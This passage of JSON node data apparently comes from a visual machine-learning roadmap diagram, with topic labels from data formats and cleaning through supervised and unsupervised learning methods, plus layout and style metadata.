\"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MWfdLCb_w06A0jqwUJUxl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -710.7201625137221, \"y\": 1474.3015848371492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CSV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FVIdjmjfkM84nmGVw1S_c\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"K9Si7kJe946CcGWBGmDsZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -571.377244443855, \"y\": 1474.3015848371492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Excel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vyhrYvbmE9m8P-mjOsR7b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 121, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qRHeaD2udDaItAxmiIiUg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1580.3015848371492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Other Data Formats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1BJGXWax6CONuFkaYR4Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 262, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 182,\n      \"height\": 65,\n      \"id\": \"NTjpKlN0f93p9iSToXhNW\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -265.6381872719935, \"y\": 1381.7995821560758 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Cleaning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6pRmzfpARAApr1JRCC7f5\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 182, \"height\": 65 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"width\": 294,\n      \"height\": 49,\n      \"id\": \"MdhfkuKWTDCE73hczzG3D\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1409.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Preprocessing Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hWA7RtuqltMTmHdcCnmES\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 154.5, \"y\": 794.3333333333334 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"selectable\": true\n    },\n    {\n      \"id\": \"5v0jRBYrRuVXQC90IseRG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1462.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Cleaning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dEFLBGpiH6nbSMeR7ecaT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 41.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 294, \"height\": 49 }\n    },\n    {\n      \"id\": \"y3-nWiDjlY6ZwqmxBUvhd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1621.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dimensionality Reduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NP1kjSk0ujU0Gx-ajNHlR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 94.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 294, \"height\": 49 }\n    },\n    {\n      \"id\": \"UmGdV94afOIbAL8MaxOWv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1515.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R9DQNc0AyAQ2HLpP4HOk6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 131.83083459739703, \"y\": -38.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 294, \"height\": 49 }\n    },\n    {\n      \"id\": \"cigwKoltemM0q-M5O50Is\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1674.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature Selection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fNTb9y3zs1HPYclAmu_Wv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 131.83083459739703, \"y\": 14.230429370829597 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 294, \"height\": 49 }\n    },\n    {\n      \"id\": \"iBkTNbk8Xz626F_a3Bo5J\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.23681648400486, \"y\": 1568.6462816581497 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature Scaling & Normalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dvy7BnNzK55qbh_SgOk8m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 147.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 294, \"height\": 49 }\n    },\n    {\n      \"width\": 248,\n      \"height\": 63,\n      \"id\": \"zdv96JeIxVl1ToieWcoAz\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -298.6381872719935, \"y\": 1530.60460622576 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"center\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xScVB1Swn0AWGTrAE0DFR\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 248, \"height\": 63 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Ns2zKn8BL_kTEI6O65pCp\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.6381872719935, \"y\": 1723.6462816581497 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Types of Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZVbnAF9I1r8qWFFYG6nXv\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 270, \"height\": 49 },\n      \"width\": 270,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"36ryjK5isV1MD4MgZP2Jn\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1722.187102404135 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unsupervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5xxAg18h74pDAUPy6P8NQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"measured\": { \"width\": 262, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"Yho0zf9F-ROhEnTxRMq_M\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1775.187102404135 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Semi-supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ddhph9saFgfMi-uUFGK75\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"measured\": { \"width\": 262, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"5MUwKGfSTKlam8KCG0A1U\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1669.187102404135 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bIhGv4886V4RWJD3tX0a0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 262, \"height\": 49 }\n    },\n    {\n      \"id\": \"NC1A2SQVyc1n-KEf6yl-4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1881.187102404135 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reinforcement Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KsmiWdxVbzAAtKeUoAs0r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"measured\": { \"width\": 262, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"lgO7luG7-R_FY5nwFjRE0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 1828.187102404135 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Self-supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4Zk8qR6gQQIqZnQiR5fJE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 262, \"height\": 49 }\n    },\n    {\n      \"id\": \"rzhVFzl5H5MWtcvr8ayRk\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.6381872719935, \"y\": 1669.187102404135 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Machine Learning?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5DiaZkljhHAGPi9DkaH3b\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 270, \"height\": 49 },\n      \"width\": 270,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ajKU5CPlbn7BbWHEhUNaB\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2029.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Supervised Learning?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vQI-4uFQJ6694nm1SCpDR\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 288, \"height\": 49 },\n      \"width\": 288,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 228,\n      \"height\": 61,\n      \"id\": \"D1vCHxbpoDqeieiZGC5Kp\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -288.1381872719935, \"y\": 2023.0532715281324 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supervised Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"center\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6pRmzfpARAApr1JRCC7f5\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 228, \"height\": 61 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"cffITx6oAcnvJlK1VLdi8\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2146.0427068474123 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Classification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6dPhFdNhRWMIv8lKs6a0d\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 288, \"height\": 49 },\n      \"width\": 288,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"aHOjajXwkDMOssqW1VGrm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2302.662863314189 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \" Logistic Regression \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V1r3R7GpKPCHpOGWZGTe6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"measured\": { \"width\": 288, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"_jS66rGAWecXH3zVF-5ds\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2355.662863314189 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Support Vector Machines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UroKGrecBkAE_1Q-FDdMi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"measured\": { \"width\": 288, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"x7vlCNAxfJzobj9HcTaJy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2249.662863314189 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"K-Nearest Neighbors (KNN)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K-x_L3z8JTSHwtTeHm4EG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 288, \"height\": 49 }\n    },\n    {\n      \"id\": \"JuTTbL_pm1ltGvhUsIzQd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2461.662863314189 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Gradient Boosting Machines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yNykVbSJSMGZudyzSKi-W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"measured\": { \"width\": 288, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"arlmRF5pYglsbHb-HR-2x\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.9767424273866, \"y\": 2408.662863314189 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Decision Trees, Random Forest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7QwPgqu86KDN-ZiSFPOBV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 288, \"height\": 49 }\n    },\n    {\n      \"id\": \"gKu6tnpTO2PhDDMYp2u7F\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -284.6197180665912, \"y\": 2146.0427068474123 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 208, \"height\": 49 },\n      \"width\": 208,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"xGO1X9aZRgKcgzi6r1xq8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -303.1197180665912, \"y\": 2253.772092054328 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linear Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1IhaXJxNREq2HA1nT-lMM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 245, \"height\": 49 }\n    },\n    {\n      \"id\": \"hfr2MU8QkVt9KhVi1Okpv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -303.1197180665912, \"y\": 2306.772092054328 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Polynomial Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0-6BV-MggAyD7g3JH45B7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 245, \"height\": 49 }\n    },\n    {\n      \"width\": 255,\n      \"height\": 73,\n      \"id\": \"7rjXtHQhJF6B4iytzS6uu\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 95.09010183215503, \"y\": 2134.0427068474123 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unsupervised Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6pRmzfpARAApr1JRCC7f5\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 255, \"height\": 73 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"9oWdnQd-vwVJi62JQLgJ5\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 55.23681648400486, \"y\": 2363.772092054328 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Unsupervised Learning?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EYnbTXGj4MI7jdsYdvKSH\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"width\": 294,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CBSGvGPoI53p7BezXNm6M\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 120.66350622372477, \"y\": 2573.124898905572 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Clustering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vQI-4uFQJ6694nm1SCpDR\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"width\": 225,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vQI-4uFQJ6694nm1SCpDR\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 2573.1985496439534 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dimensionality Reduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gKu6tnpTO2PhDDMYp2u7F\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BzUunjJrUMlh6K1NOOD87\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.66350622372477, \"y\": 2716.394767323188 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Overlapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gm2HwFQOGIJ6nM2liORub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"jJ8cXfHV2LG5PJGZRTHxB\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.66350622372477, \"y\": 2769.394767323188 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hierarchical\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UroKGrecBkAE_1Q-FDdMi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"eErzKbR8sRNlrYcwNSRSh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.66350622372477, \"y\": 2663.394767323188 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exclusive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tpDkgmVPtANqAyRg2CHBE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 225, \"height\": 49 }\n    },\n    {\n      \"id\": \"VrLaUipVKWvwnFF0ZbIlo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.66350622372477, \"y\": 2822.394767323188 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Probabilistic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7QwPgqu86KDN-ZiSFPOBV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 225, \"height\": 49 }\n    },\n    {\n      \"id\": \"owSUO9Ut9sggd1OiWr3O7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 2716.468418061569 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Autoencoders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V1r3R7GpKPCHpOGWZGTe6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      